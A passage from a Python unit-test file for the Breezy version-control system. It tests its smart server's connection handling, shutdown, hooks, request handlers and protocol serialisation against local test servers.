           raise Exception(\"some random exception from inside server\")\n\n        class FlakyServer(test_server.SmartTCPServer_for_testing):\n            def get_backing_transport(self, backing_transport_server):\n                return FlakyTransport()\n\n        smart_server = FlakyServer()\n        smart_server.start_server()\n        self.addCleanup(smart_server.stop_server)\n        t = remote.RemoteTCPTransport(smart_server.get_url())\n        self.addCleanup(t.disconnect)\n        err = self.assertRaises(UnknownErrorFromSmartServer,\n                                t.get, 'something')\n        self.assertContainsRe(str(err), 'some random exception')\n\n    def test_propagates_timeout(self):\n        server = _mod_server.SmartTCPServer(None, client_timeout=1.23)\n        server_sock, client_sock = portable_socket_pair()\n        handler = server._make_handler(server_sock)\n        self.assertEqual(1.23, handler._client_timeout)\n\n    def test_serve_conn_tracks_connections(self):\n        server = _mod_server.SmartTCPServer(None, client_timeout=4.0)\n        server_sock, client_sock = portable_socket_pair()\n        server.serve_conn(server_sock, f'-{self.id()}')\n        self.assertEqual(1, len(server._active_connections))\n        # We still want to talk on the connection. Polling should indicate it\n        # is still active.\n        server._poll_active_connections()\n        self.assertEqual(1, len(server._active_connections))\n        # Closing the socket will end the active thread, and polling will\n        # notice and remove it from the active set.\n        client_sock.close()\n        server._poll_active_connections(0.1)\n        self.assertEqual(0, len(server._active_connections))\n\n    def test_serve_closes_out_finished_connections(self):\n        server, server_thread = self.make_server()\n        # The server is started, connect to it.\n        client_sock = self.connect_to_server(server)\n        # We send and receive on the connection, so that we know the\n        # server-side has seen the connect, and started handling the\n        # results.\n        self.say_hello(client_sock)\n        self.assertEqual(1, len(server._active_connections))\n        # Grab a handle to the thread that is processing our request\n        _, server_side_thread = server._active_connections[0]\n        # Close the connection, ask the server to stop, and wait for the\n        # server to stop, as well as the thread that was servicing the\n        # client request.\n        client_sock.close()\n        # Wait for the server-side request thread to notice we are closed.\n        server_side_thread.join()\n        # Stop the server, it should notice the connection has finished.\n        self.shutdown_server_cleanly(server, server_thread)\n        # The server should have noticed that all clients are gone before\n        # exiting.\n        self.assertEqual(0, len(server._active_connections))\n\n    def test_serve_reaps_finished_connections(self):\n        server, server_thread = self.make_server()\n        client_sock1 = self.connect_to_server(server)\n        # We send and receive on the connection, so that we know the\n        # server-side has seen the connect, and started handling the\n        # results.\n        self.say_hello(client_sock1)\n        server_handler1, server_side_thread1 = server._active_connections[0]\n        client_sock1.close()\n        server_side_thread1.join()\n        # By waiting until the first connection is fully done, the server\n        # should notice after another connection that the first has finished.\n        client_sock2 = self.connect_to_server(server)\n        self.say_hello(client_sock2)\n        server_handler2, server_side_thread2 = server._active_connections[-1]\n        # There is a race condition. We know that client_sock2 has been\n        # registered, but not that _poll_active_connections has been called. We\n        # know that it will be called before the server will accept a new\n        # connection, however. So connect one more time, and assert that we\n        # either have 1 or 2 active connections (never 3), and that the 'first'\n        # connection is not connection 1\n        client_sock3 = self.connect_to_server(server)\n        self.say_hello(client_sock3)\n        # Copy the list, so we don't have it mutating behind our back\n        conns = list(server._active_connections)\n        self.assertEqual(2, len(conns))\n        self.assertNotEqual((server_handler1, server_side_thread1), conns[0])\n        self.assertEqual((server_handler2, server_side_thread2), conns[0])\n        client_sock2.close()\n        client_sock3.close()\n        self.shutdown_server_cleanly(server, server_thread)\n\n    def test_graceful_shutdown_waits_for_clients_to_stop(self):\n        server, server_thread = self.make_server()\n        # We need something big enough that it won't fit in a single recv. So\n        # the server thread gets blocked writing content to the client until we\n        # finish reading on the client.\n        server.backing_transport.put_bytes('bigfile',\n                                           b'a' * 1024 * 1024)\n        client_sock = self.connect_to_server(server)\n        self.say_hello(client_sock)\n        _, server_side_thread = server._active_connections[0]\n        # Start the RPC, but don't finish reading the response\n        client_medium = medium.SmartClientAlreadyConnectedSocketMedium(\n            'base', client_sock)\n        client_client = client._SmartClient(client_medium)\n        resp, response_handler = client_client.call_expecting_body(b'get',\n                                                                   b'bigfile')\n        self.assertEqual((b'ok',), resp)\n        # Ask the server to stop gracefully, and wait for it.\n        server._stop_gracefully()\n        self.connect_to_server_and_hangup(server)\n        server._stopped.wait()\n        # It should not be accepting another connection.\n        self.assertRaises(socket.error, self.connect_to_server, server)\n        response_handler.read_body_bytes()\n        client_sock.close()\n        server_side_thread.join()\n        server_thread.join()\n        self.assertTrue(server._fully_stopped.is_set())\n        log = self.get_log()\n        self.assertThat(log, DocTestMatches(\"\"\"\\\n    INFO  Requested to stop gracefully\n... Stopping SmartServerSocketStreamMedium(client=('127.0.0.1', ...\n\"\"\", flags=doctest.ELLIPSIS | doctest.REPORT_UDIFF))\n\n    def test_stop_gracefully_tells_handlers_to_stop(self):\n        server, server_thread = self.make_server()\n        client_sock = self.connect_to_server(server)\n        self.say_hello(client_sock)\n        server_handler, server_side_thread = server._active_connections[0]\n        self.assertFalse(server_handler.finished)\n        server._stop_gracefully()\n        self.assertTrue(server_handler.finished)\n        client_sock.close()\n        self.connect_to_server_and_hangup(server)\n        server_thread.join()\n\n\nclass SmartTCPTests(tests.TestCase):\n    \"\"\"Tests for connection/end to end behaviour using the TCP server.\n\n    All of these tests are run with a server running in another thread serving\n    a MemoryTransport, and a connection to it already open.\n\n    the server is obtained by calling self.start_server(readonly=False).\n    \"\"\"\n\n    def start_server(self, readonly=False, backing_transport=None):\n        \"\"\"Setup the server.\n\n        :param readonly: Create a readonly server.\n        \"\"\"\n        # NB: Tests using this fall into two categories: tests of the server,\n        # tests wanting a server. The latter should be updated to use\n        # self.vfs_transport_factory etc.\n        if backing_transport is None:\n            mem_server = memory.MemoryServer()\n            mem_server.start_server()\n            self.addCleanup(mem_server.stop_server)\n            self.permit_url(mem_server.get_url())\n            self.backing_transport = _mod_transport.get_transport_from_url(\n                mem_server.get_url())\n        else:\n            self.backing_transport = backing_transport\n        if readonly:\n            self.real_backing_transport = self.backing_transport\n            self.backing_transport = _mod_transport.get_transport_from_url(\n                \"readonly+\" + self.backing_transport.abspath('.'))\n        self.server = _mod_server.SmartTCPServer(self.backing_transport,\n                                                 client_timeout=4.0)\n        self.server.start_server('127.0.0.1', 0)\n        self.server.start_background_thread('-' + self.id())\n        self.transport = remote.RemoteTCPTransport(self.server.get_url())\n        self.addCleanup(self.stop_server)\n        self.permit_url(self.server.get_url())\n\n    def stop_server(self):\n        \"\"\"Disconnect the client and stop the server.\n\n        This must be re-entrant as some tests will call it explicitly in\n        addition to the normal cleanup.\n        \"\"\"\n        if getattr(self, 'transport', None):\n            self.transport.disconnect()\n            del self.transport\n        if getattr(self, 'server', None):\n            self.server.stop_background_thread()\n            del self.server\n\n\nclass TestServerSocketUsage(SmartTCPTests):\n\n    def test_server_start_stop(self):\n        \"\"\"It should be safe to stop the server with no requests.\"\"\"\n        self.start_server()\n        t = remote.RemoteTCPTransport(self.server.get_url())\n        self.stop_server()\n        self.assertRaises(ConnectionError, t.has, '.')\n\n    def test_server_closes_listening_sock_on_shutdown_after_request(self):\n        \"\"\"The server should close its listening socket when it's stopped.\"\"\"\n        self.start_server()\n        server_url = self.server.get_url()\n        self.transport.has('.')\n        self.stop_server()\n        # if the listening socket has closed, we should get a BADFD error\n        # when connecting, rather than a hang.\n        t = remote.RemoteTCPTransport(server_url)\n        self.assertRaises(ConnectionError, t.has, '.')\n\n\nclass WritableEndToEndTests(SmartTCPTests):\n    \"\"\"Client to server tests that require a writable transport.\"\"\"\n\n    def setUp(self):\n        super().setUp()\n        self.start_server()\n\n    def test_start_tcp_server(self):\n        url = self.server.get_url()\n        self.assertContainsRe(url, r'^bzr://127\\.0\\.0\\.1:[0-9]{2,}/')\n\n    def test_smart_transport_has(self):\n        \"\"\"Checking for file existence over smart.\"\"\"\n        self.overrideEnv('BRZ_NO_SMART_VFS', None)\n        self.backing_transport.put_bytes(\"foo\", b\"contents of foo\\n\")\n        self.assertTrue(self.transport.has(\"foo\"))\n        self.assertFalse(self.transport.has(\"non-foo\"))\n\n    def test_smart_transport_get(self):\n        \"\"\"Read back a file over smart.\"\"\"\n        self.overrideEnv('BRZ_NO_SMART_VFS', None)\n        self.backing_transport.put_bytes(\"foo\", b\"contents\\nof\\nfoo\\n\")\n        fp = self.transport.get(\"foo\")\n        self.assertEqual(b'contents\\nof\\nfoo\\n', fp.read())\n\n    def test_get_error_enoent(self):\n        \"\"\"Error reported from server getting nonexistent file.\"\"\"\n        # The path in a raised NoSuchFile exception should be the precise path\n        # asked for by the client. This gives meaningful and unsurprising errors\n        # for users.\n        self.overrideEnv('BRZ_NO_SMART_VFS', None)\n        err = self.assertRaises(\n            _mod_transport.NoSuchFile, self.transport.get, 'not%20a%20file')\n        self.assertSubset([err.path], ['not%20a%20file', './not%20a%20file'])\n\n    def test_simple_clone_conn(self):\n        \"\"\"Test that cloning reuses the same connection.\"\"\"\n        # we create a real connection not a loopback one, but it will use the\n        # same server and pipes\n        conn2 = self.transport.clone('.')\n        self.assertIs(self.transport.get_smart_medium(),\n                      conn2.get_smart_medium())\n\n    def test__remote_path(self):\n        self.assertEqual(b'/foo/bar',\n                         self.transport._remote_path('foo/bar'))\n\n    def test_clone_changes_base(self):\n        \"\"\"Cloning transport produces one with a new base location.\"\"\"\n        conn2 = self.transport.clone('subdir')\n        self.assertEqual(self.transport.base + 'subdir/',\n                         conn2.base)\n\n    def test_open_dir(self):\n        \"\"\"Test changing directory.\"\"\"\n        self.overrideEnv('BRZ_NO_SMART_VFS', None)\n        transport = self.transport\n        self.backing_transport.mkdir('toffee')\n        self.backing_transport.mkdir('toffee/apple')\n        self.assertEqual(b'/toffee', transport._remote_path('toffee'))\n        toffee_trans = transport.clone('toffee')\n        # Check that each transport has only the contents of its directory\n        # directly visible. If state was being held in the wrong object, it's\n        # conceivable that cloning a transport would alter the state of the\n        # cloned-from transport.\n        self.assertTrue(transport.has('toffee'))\n        self.assertFalse(toffee_trans.has('toffee'))\n        self.assertFalse(transport.has('apple'))\n        self.assertTrue(toffee_trans.has('apple'))\n\n    def test_open_bzrdir(self):\n        \"\"\"Open an existing bzrdir over smart transport.\"\"\"\n        transport = self.transport\n        t = self.backing_transport\n        bzrdir.BzrDirFormat.get_default_format().initialize_on_transport(t)\n        controldir.ControlDir.open_containing_from_transport(\n            transport)\n\n\nclass ReadOnlyEndToEndTests(SmartTCPTests):\n    \"\"\"Tests from the client to the server using a readonly backing transport.\"\"\"\n\n    def test_mkdir_error_readonly(self):\n        \"\"\"TransportNotPossible should be preserved from the backing transport.\"\"\"\n        self.overrideEnv('BRZ_NO_SMART_VFS', None)\n        self.start_server(readonly=True)\n        self.assertRaises(errors.TransportNotPossible, self.transport.mkdir,\n                          'foo')\n\n    def test_rename_error_readonly(self):\n        \"\"\"TransportNotPossible should be preserved from the backing transport.\"\"\"\n        self.overrideEnv('BRZ_NO_SMART_VFS', None)\n        self.start_server(readonly=True)\n        self.assertRaises(errors.TransportNotPossible, self.transport.rename,\n                          'foo', 'bar')\n\n    def test_open_write_stream_error_readonly(self):\n        \"\"\"TransportNotPossible should be preserved from the backing transport.\"\"\"\n        self.overrideEnv('BRZ_NO_SMART_VFS', None)\n        self.start_server(readonly=True)\n        self.assertRaises(\n            errors.TransportNotPossible, self.transport.open_write_stream,\n            'foo')\n\n\nclass TestServerHooks(SmartTCPTests):\n\n    def capture_server_call(self, backing_urls, public_url):\n        \"\"\"Record a server_started|stopped hook firing.\"\"\"\n        self.hook_calls.append((backing_urls, public_url))\n\n    def test_server_started_hook_memory(self):\n        \"\"\"The server_started hook fires when the server is started.\"\"\"\n        self.hook_calls = []\n        _mod_server.SmartTCPServer.hooks.install_named_hook('server_started',\n                                                            self.capture_server_call, None)\n        self.start_server()\n        # at this point, the server will be starting a thread up.\n        # there is no indicator at the moment, so bodge it by doing a request.\n        self.transport.has('.')\n        # The default test server uses MemoryTransport and that has no external\n        # url:\n        self.assertEqual([([self.backing_transport.base], self.transport.base)],\n                         self.hook_calls)\n\n    def test_server_started_hook_file(self):\n        \"\"\"The server_started hook fires when the server is started.\"\"\"\n        self.hook_calls = []\n        _mod_server.SmartTCPServer.hooks.install_named_hook('server_started',\n                                                            self.capture_server_call, None)\n        self.start_server(\n            backing_transport=_mod_transport.get_transport_from_path(\".\"))\n        # at this point, the server will be starting a thread up.\n        # there is no indicator at the moment, so bodge it by doing a request.\n        self.transport.has('.')\n        # The default test server uses MemoryTransport and that has no external\n        # url:\n        self.assertEqual([([\n            self.backing_transport.base, self.backing_transport.external_url()],\n            self.transport.base)],\n            self.hook_calls)\n\n    def test_server_stopped_hook_simple_memory(self):\n        \"\"\"The server_stopped hook fires when the server is stopped.\"\"\"\n        self.hook_calls = []\n        _mod_server.SmartTCPServer.hooks.install_named_hook('server_stopped',\n                                                            self.capture_server_call, None)\n        self.start_server()\n        result = [([self.backing_transport.base], self.transport.base)]\n        # check the stopping message isn't emitted up front.\n        self.assertEqual([], self.hook_calls)\n        # nor after a single message\n        self.transport.has('.')\n        self.assertEqual([], self.hook_calls)\n        # clean up the server\n        self.stop_server()\n        # now it should have fired.\n        self.assertEqual(result, self.hook_calls)\n\n    def test_server_stopped_hook_simple_file(self):\n        \"\"\"The server_stopped hook fires when the server is stopped.\"\"\"\n        self.hook_calls = []\n        _mod_server.SmartTCPServer.hooks.install_named_hook('server_stopped',\n                                                            self.capture_server_call, None)\n        self.start_server(\n            backing_transport=_mod_transport.get_transport_from_path(\".\"))\n        result = [(\n            [self.backing_transport.base, self.backing_transport.external_url()], self.transport.base)]\n        # check the stopping message isn't emitted up front.\n        self.assertEqual([], self.hook_calls)\n        # nor after a single message\n        self.transport.has('.')\n        self.assertEqual([], self.hook_calls)\n        # clean up the server\n        self.stop_server()\n        # now it should have fired.\n        self.assertEqual(result, self.hook_calls)\n\n# TODO: test that when the server suffers an exception that it calls the\n# server-stopped hook.\n\n\nclass SmartServerCommandTests(tests.TestCaseWithTransport):\n    \"\"\"Tests that call directly into the command objects, bypassing the network\n    and the request dispatching.\n\n    Note: these tests are rudimentary versions of the command object tests in\n    test_smart.py.\n    \"\"\"\n\n    def test_hello(self):\n        cmd = _mod_request.HelloRequest(None, '/')\n        response = cmd.execute()\n        self.assertEqual((b'ok', b'2'), response.args)\n        self.assertEqual(None, response.body)\n\n    def test_get_bundle(self):\n        from breezy.bzr.bundle import serializer\n        wt = self.make_branch_and_tree('.')\n        self.build_tree_contents([('hello', b'hello world')])\n        wt.add('hello')\n        rev_id = wt.commit('add hello')\n\n        cmd = _mod_request.GetBundleRequest(self.get_transport(), '/')\n        response = cmd.execute(b'.', rev_id)\n        serializer.read_bundle(BytesIO(response.body))\n        self.assertEqual((), response.args)\n\n\nclass SmartServerRequestHandlerTests(tests.TestCaseWithTransport):\n    \"\"\"Test that call directly into the handler logic, bypassing the network.\"\"\"\n\n    def setUp(self):\n        super().setUp()\n        self.overrideEnv('BRZ_NO_SMART_VFS', None)\n\n    def build_handler(self, transport):\n        \"\"\"Returns a handler for the commands in protocol version one.\"\"\"\n        return _mod_request.SmartServerRequestHandler(\n            transport, _mod_request.request_handlers, '/')\n\n    def test_construct_request_handler(self):\n        \"\"\"Constructing a request handler should be easy and set defaults.\"\"\"\n        handler = _mod_request.SmartServerRequestHandler(None, commands=None,\n                                                         root_client_path='/')\n        self.assertFalse(handler.finished_reading)\n\n    def test_hello(self):\n        handler = self.build_handler(None)\n        handler.args_received((b'hello',))\n        self.assertEqual((b'ok', b'2'), handler.response.args)\n        self.assertEqual(None, handler.response.body)\n\n    def test_disable_vfs_handler_classes_via_environment(self):\n        # VFS handler classes will raise an error from \"execute\" if\n        # BRZ_NO_SMART_VFS is set.\n        handler = vfs.HasRequest(None, '/')\n        # set environment variable after construction to make sure it's\n        # examined.\n        self.overrideEnv('BRZ_NO_SMART_VFS', '')\n        self.assertRaises(_mod_request.DisabledMethod, handler.execute)\n\n    def test_readonly_exception_becomes_transport_not_possible(self):\n        \"\"\"The response for a read-only error is ('ReadOnlyError').\"\"\"\n        handler = self.build_handler(self.get_readonly_transport())\n        # send a mkdir for foo, with no explicit mode - should fail.\n        handler.args_received((b'mkdir', b'foo', b''))\n        # and the failure should be an explicit ReadOnlyError\n        self.assertEqual((b\"ReadOnlyError\", ), handler.response.args)\n        # XXX: TODO: test that other TransportNotPossible errors are\n        # presented as TransportNotPossible - not possible to do that\n        # until I figure out how to trigger that relatively cleanly via\n        # the api. RBC 20060918\n\n    def test_hello_has_finished_body_on_dispatch(self):\n        \"\"\"The 'hello' command should set finished_reading.\"\"\"\n        handler = self.build_handler(None)\n        handler.args_received((b'hello',))\n        self.assertTrue(handler.finished_reading)\n        self.assertNotEqual(None, handler.response)\n\n    def test_put_bytes_non_atomic(self):\n        \"\"\"'put_...' should set finished_reading after reading the bytes.\"\"\"\n        handler = self.build_handler(self.get_transport())\n        handler.args_received((b'put_non_atomic', b'a-file', b'', b'F', b''))\n        self.assertFalse(handler.finished_reading)\n        handler.accept_body(b'1234')\n        self.assertFalse(handler.finished_reading)\n        handler.accept_body(b'5678')\n        handler.end_of_body()\n        self.assertTrue(handler.finished_reading)\n        self.assertEqual((b'ok', ), handler.response.args)\n        self.assertEqual(None, handler.response.body)\n\n    def test_readv_accept_body(self):\n        \"\"\"'readv' should set finished_reading after reading offsets.\"\"\"  # noqa: D403\n        self.build_tree(['a-file'])\n        handler = self.build_handler(self.get_readonly_transport())\n        handler.args_received((b'readv', b'a-file'))\n        self.assertFalse(handler.finished_reading)\n        handler.accept_body(b'2,')\n        self.assertFalse(handler.finished_reading)\n        handler.accept_body(b'3')\n        handler.end_of_body()\n        self.assertTrue(handler.finished_reading)\n        self.assertEqual((b'readv', ), handler.response.args)\n        # co - nte - nt of a-file is the file contents we are extracting from.\n        self.assertEqual(b'nte', handler.response.body)\n\n    def test_readv_short_read_response_contents(self):\n        \"\"\"'readv' when a short read occurs sets the response appropriately.\"\"\"  # noqa: D403\n        self.build_tree(['a-file'])\n        handler = self.build_handler(self.get_readonly_transport())\n        handler.args_received((b'readv', b'a-file'))\n        # read beyond the end of the file.\n        handler.accept_body(b'100,1')\n        handler.end_of_body()\n        self.assertTrue(handler.finished_reading)\n        self.assertEqual((b'ShortReadvError', b'./a-file', b'100', b'1', b'0'),\n                         handler.response.args)\n        self.assertEqual(None, handler.response.body)\n\n\nclass RemoteTransportRegistration(tests.TestCase):\n\n    def test_registration(self):\n        t = _mod_transport.get_transport_from_url('bzr+ssh://example.com/path')\n        self.assertIsInstance(t, remote.RemoteSSHTransport)\n        self.assertEqual('example.com', t._parsed_url.host)\n\n    def test_bzr_https(self):\n        # https://bugs.launchpad.net/bzr/+bug/128456\n        t = _mod_transport.get_transport_from_url(\n            'bzr+https://example.com/path')\n        self.assertIsInstance(t, remote.RemoteHTTPTransport)\n        self.assertStartsWith(\n            t._http_transport.base,\n            'https://')\n\n\nclass TestRemoteTransport(tests.TestCase):\n\n    def test_use_connection_factory(self):\n        # We want to be able to pass a client as a parameter to RemoteTransport.\n        input = BytesIO(b'ok\\n3\\nbardone\\n')\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        transport = remote.RemoteTransport(\n            'bzr://localhost/', medium=client_medium)\n        # Disable version detection.\n        client_medium._protocol_version = 1\n\n        # We want to make sure the client is used when the first remote\n        # method is called.  No data should have been sent, or read.\n        self.assertEqual(0, input.tell())\n        self.assertEqual(b'', output.getvalue())\n\n        # Now call a method that should result in one request: as the\n        # transport makes its own protocol instances, we check on the wire.\n        # XXX: TODO: give the transport a protocol factory, which can make\n        # an instrumented protocol for us.\n        self.assertEqual(b'bar', transport.get_bytes('foo'))\n        # only the needed data should have been sent/received.\n        self.assertEqual(13, input.tell())\n        self.assertEqual(b'get\\x01/foo\\n', output.getvalue())\n\n    def test__translate_error_readonly(self):\n        \"\"\"Sending a ReadOnlyError to _translate_error raises TransportNotPossible.\"\"\"\n        client_medium = medium.SmartSimplePipesClientMedium(None, None, 'base')\n        transport = remote.RemoteTransport(\n            'bzr://localhost/', medium=client_medium)\n        err = errors.ErrorFromSmartServer((b\"ReadOnlyError\", ))\n        self.assertRaises(errors.TransportNotPossible,\n                          transport._translate_error, err)\n\n\nclass TestSmartProtocol(tests.TestCase):\n    \"\"\"Base class for smart protocol tests.\n\n    Each test case gets a smart_server and smart_client created during setUp().\n\n    It is planned that the client can be called with self.call_client() giving\n    it an expected server response, which will be fed into it when it tries to\n    read. Likewise, self.call_server will call a servers method with a canned\n    serialised client request. Output done by the client or server for these\n    calls will be captured to self.to_server and self.to_client. Each element\n    in the list is a write call from the client or server respectively.\n\n    Subclasses can override client_protocol_class and server_protocol_class.\n    \"\"\"\n\n    request_encoder: object\n    response_decoder: Type[protocol._StatefulDecoder]\n    server_protocol_class: Type[protocol.SmartProtocolBase]\n    client_protocol_class: Optional[Type[protocol.SmartProtocolBase]] = None\n\n    def make_client_protocol_and_output(self, input_bytes=None):\n        \"\"\":returns: a Request\"\"\"\n        # This is very similar to\n        # breezy.bzr.smart.client._SmartClient._build_client_protocol\n        # XXX: make this use _SmartClient!\n        if input_bytes is None:\n            input = BytesIO()\n        else:\n            input = BytesIO(input_bytes)\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'base')\n        request = client_medium.get_request()\n        if self.client_protocol_class is not None:\n            client_protocol = self.client_protocol_class(request)\n            return client_protocol, client_protocol, output\n        else:\n            self.assertNotEqual(None, self.request_encoder)\n            self.assertNotEqual(None, self.response_decoder)\n            requester = self.request_encoder(request)\n            response_handler = message.ConventionalResponseHandler()\n            response_protocol = self.response_decoder(\n                response_handler, expect_version_marker=True)\n            response_handler.setProtoAndMediumRequest(\n                response_protocol, request)\n            return requester, response_handler, output\n\n    def make_client_protocol(self, input_bytes=None):\n        result = self.make_client_protocol_and_output(input_bytes=input_bytes)\n        requester, response_handler, output = result\n        return requester, response_handler\n\n    def make_server_protocol(self):\n        out_stream = BytesIO()\n        smart_protocol = self.server_protocol_class(None, out_stream.write)\n        return smart_protocol, out_stream\n\n    def setUp(self):\n        super().setUp()\n        self.response_marker = getattr(\n            self.client_protocol_class, 'response_marker', None)\n        self.request_marker = getattr(\n            self.client_protocol_class, 'request_marker', None)\n\n    def assertOffsetSerialisation(self, expected_offsets, expected_serialised,\n                                  requester):\n        \"\"\"Check that smart (de)serialises offsets as expected.\n\n        We check both serialisation and deserialisation at the same time\n        to ensure that the round tripping cannot skew: both directions should\n        be as expected.\n\n        :param expected_offsets: a readv offset list.\n        :param expected_seralised: an expected serial form of the offsets.\n        \"\"\"\n        # XXX: '_deserialise_offsets' should be a method of the\n        # SmartServerRequestProtocol in future.\n        readv_cmd = vfs.ReadvRequest(None, '/')\n        offsets = readv_cmd._deserialise_offsets(expected_serialised)\n        self.assertEqual(expected_offsets, offsets)\n        serialised = requester._serialise_offsets(offsets)\n        self.assertEqual(expected_serialised, serialised)\n\n    def build_protocol_waiting_for_body(self):\n        smart_protocol, out_stream = self.make_server_protocol()\n        smart_protocol._has_dispatched = True\n        smart_protocol.request = _mod_request.SmartServerRequestHandler(\n            None, _mod_request.request_handlers, '/')\n        # GZ 2010-08-10: Cycle with closure affects 4 tests\n\n        class FakeCommand(_mod_request.SmartServerRequest):\n            def do_body(self_cmd, body_bytes):  # noqa: N805\n                self.end_received = True\n                self.assertEqual(b'abcdefg', body_bytes)\n                return _mod_request.SuccessfulSmartServerResponse((b'ok', ))\n        smart_protocol.request._command = FakeCommand(None)\n        # Call accept_bytes to make sure that internal state like _body_decoder\n        # is initialised.  This test should probably be given a clearer\n        # interface to work with that will not cause this inconsistency.\n        #   -- Andrew Bennetts, 2006-09-28\n        smart_protocol.accept_bytes(b'')\n        return smart_protocol\n\n    def assertServerToClientEncoding(self, expected_bytes, expected_tuple,\n                                     input_tuples):\n        \"\"\"Assert that each input_tuple serialises as expected_bytes, and the\n        bytes deserialise as expected_tuple.\n        \"\"\"\n        # check the encoding of the server for all input_tuples matches\n        # expected bytes\n        for input_tuple in input_tuples:\n            server_protocol, server_output = self.make_server_protocol()\n            server_protocol._send_response(\n                _mod_request.SuccessfulSmartServerResponse(input_tuple))\n            self.assertEqual(expected_bytes, server_output.getvalue())\n        # check the decoding of the client smart_protocol from expected_bytes:\n        requester, response_handler = self.make_client_protocol(expected_bytes)\n        requester.call(b'foo')\n        self.assertEqual(\n            expected_tuple, response_handler.read_response_tuple())\n\n\nclass CommonSmartProtocolTestMixin:\n\n    def test_connection_closed_reporting(self):\n        requester, response_handler = self.make_client_protocol()\n        requester.call(b'hello')\n        ex = self.assertRaises(ConnectionResetError,\n                               response_handler.read_response_tuple)\n        self.assertEqual(\"Unexpected end of message. Please check connectivity \"\n                         \"and permissions, and report a bug if problems persist.\",\n                         str(ex))\n\n    def test_server_offset_serialisation(self):\n        r\"\"\"The Smart protocol serialises offsets as a comma and \\n string.\n\n        We check a number of boundary cases are as expected: empty, one offset,\n        one with the order of reads not increasing (an out of order read), and\n        one that should coalesce.\n        \"\"\"\n        requester, response_handler = self.make_client_protocol()\n        self.assertOffsetSerialisation([], b'', requester)\n        self.assertOffsetSerialisation([(1, 2)], b'1,2', requester)\n        self.assertOffsetSerialisation([(10, 40), (0, 5)], b'10,40\\n0,5',\n                                       requester)\n        self.assertOffsetSerialisation([(1, 2), (3, 4), (100, 200)],\n                                       b'1,2\\n3,4\\n100,200', requester)\n\n\nclass TestVersionOneFeaturesInProtocolOne(\n        TestSmartProtocol, CommonSmartProtocolTestMixin):\n    \"\"\"Tests for version one smart protocol features as implemeted by version\n    one.\n    \"\"\"\n\n    client_protocol_class = protocol.SmartClientRequestProtocolOne\n    server_protocol_class = protocol.SmartServerRequestProtocolOne\n\n    def test_construct_version_one_server_protocol(self):\n        smart_protocol = protocol.SmartServerRequestProtocolOne(None, None)\n        self.assertEqual(b'', smart_protocol.unused_data)\n        self.assertEqual(b'', smart_protocol.in_buffer)\n        self.assertFalse(smart_protocol._has_dispatched)\n        self.assertEqual(1, smart_protocol.next_read_size())\n\n    def test_construct_version_one_client_protocol(self):\n        # we can construct a client protocol from a client medium request\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            None, output, 'base')\n        request = client_medium.get_request()\n        protocol.SmartClientRequestProtocolOne(request)\n\n    def test_accept_bytes_of_bad_request_to_protocol(self):\n        out_stream = BytesIO()\n        smart_protocol = protocol.SmartServerRequestProtocolOne(\n            None, out_stream.write)\n        smart_protocol.accept_bytes(b'abc')\n        self.assertEqual(b'abc', smart_protocol.in_buffer)\n        smart_protocol.accept_bytes(b'\\n')\n        self.assertEqual(\n            b\"error\\x01Generic bzr smart protocol error: bad request 'abc'\\n\",\n            out_stream.getvalue())\n        self.assertTrue(smart_protocol._has_dispatched)\n        self.assertEqual(0, smart_protocol.next_read_size())\n\n    def test_accept_body_bytes_to_protocol(self):\n        protocol = self.build_protocol_waiting_for_body()\n        self.assertEqual(6, protocol.next_read_size())\n        protocol.accept_bytes(b'7\\nabc')\n        self.assertEqual(9, protocol.next_read_size())\n        protocol.accept_bytes(b'defgd')\n        protocol.accept_bytes(b'one\\n')\n        self.assertEqual(0, protocol.next_read_size())\n        self.assertTrue(self.end_received)\n\n    def test_accept_request_and_body_all_at_once(self):\n        self.overrideEnv('BRZ_NO_SMART_VFS', None)\n        mem_transport = memory.MemoryTransport()\n        mem_transport.put_bytes('foo', b'abcdefghij')\n        out_stream = BytesIO()\n        smart_protocol = protocol.SmartServerRequestProtocolOne(mem_transport,\n                                                                out_stream.write)\n        smart_protocol.accept_bytes(b'readv\\x01foo\\n3\\n3,3done\\n')\n        self.assertEqual(0, smart_protocol.next_read_size())\n        self.assertEqual(b'readv\\n3\\ndefdone\\n', out_stream.getvalue())\n        self.assertEqual(b'', smart_protocol.unused_data)\n        self.assertEqual(b'', smart_protocol.in_buffer)\n\n    def test_accept_excess_bytes_are_preserved(self):\n        out_stream = BytesIO()\n        smart_protocol = protocol.SmartServerRequestProtocolOne(\n            None, out_stream.write)\n        smart_protocol.accept_bytes(b'hello\\nhello\\n')\n        self.assertEqual(b\"ok\\x012\\n\", out_stream.getvalue())\n        self.assertEqual(b\"hello\\n\", smart_protocol.unused_data)\n        self.assertEqual(b\"\", smart_protocol.in_buffer)\n\n    def test_accept_excess_bytes_after_body(self):\n        protocol = self.build_protocol_waiting_for_body()\n        protocol.accept_bytes(b'7\\nabcdefgdone\\nX')\n        self.assertTrue(self.end_received)\n        self.assertEqual(b\"X\", protocol.unused_data)\n        self.assertEqual(b\"\", protocol.in_buffer)\n        protocol.accept_bytes(b'Y')\n        self.assertEqual(b\"XY\", protocol.unused_data)\n        self.assertEqual(b\"\", protocol.in_buffer)\n\n    def test_accept_excess_bytes_after_dispatch(self):\n        out_stream = BytesIO()\n        smart_protocol = protocol.SmartServerRequestProtocolOne(\n            None, out_stream.write)\n        smart_protocol.accept_bytes(b'hello\\n')\n        self.assertEqual(b\"ok\\x012\\n\", out_stream.getvalue())\n        smart_protocol.accept_bytes(b'hel')\n        self.assertEqual(b\"hel\", smart_protocol.unused_data)\n        smart_protocol.accept_bytes(b'lo\\n')\n        self.assertEqual(b\"hello\\n\", smart_protocol.unused_data)\n        self.assertEqual(b\"\", smart_protocol.in_buffer)\n\n    def test__send_response_sets_finished_reading(self):\n        smart_protocol = protocol.SmartServerRequestProtocolOne(\n            None, lambda x: None)\n        self.assertEqual(1, smart_protocol.next_read_size())\n        smart_protocol._send_response(\n            _mod_request.SuccessfulSmartServerResponse((b'x',)))\n        self.assertEqual(0, smart_protocol.next_read_size())\n\n    def test__send_response_errors_with_base_response(self):\n        \"\"\"Ensure that only the Successful/Failed subclasses are used.\"\"\"\n        smart_protocol = protocol.SmartServerRequestProtocolOne(\n            None, lambda x: None)\n        self.assertRaises(AttributeError, smart_protocol._send_response,\n                          _mod_request.SmartServerResponse((b'x',)))\n\n    def 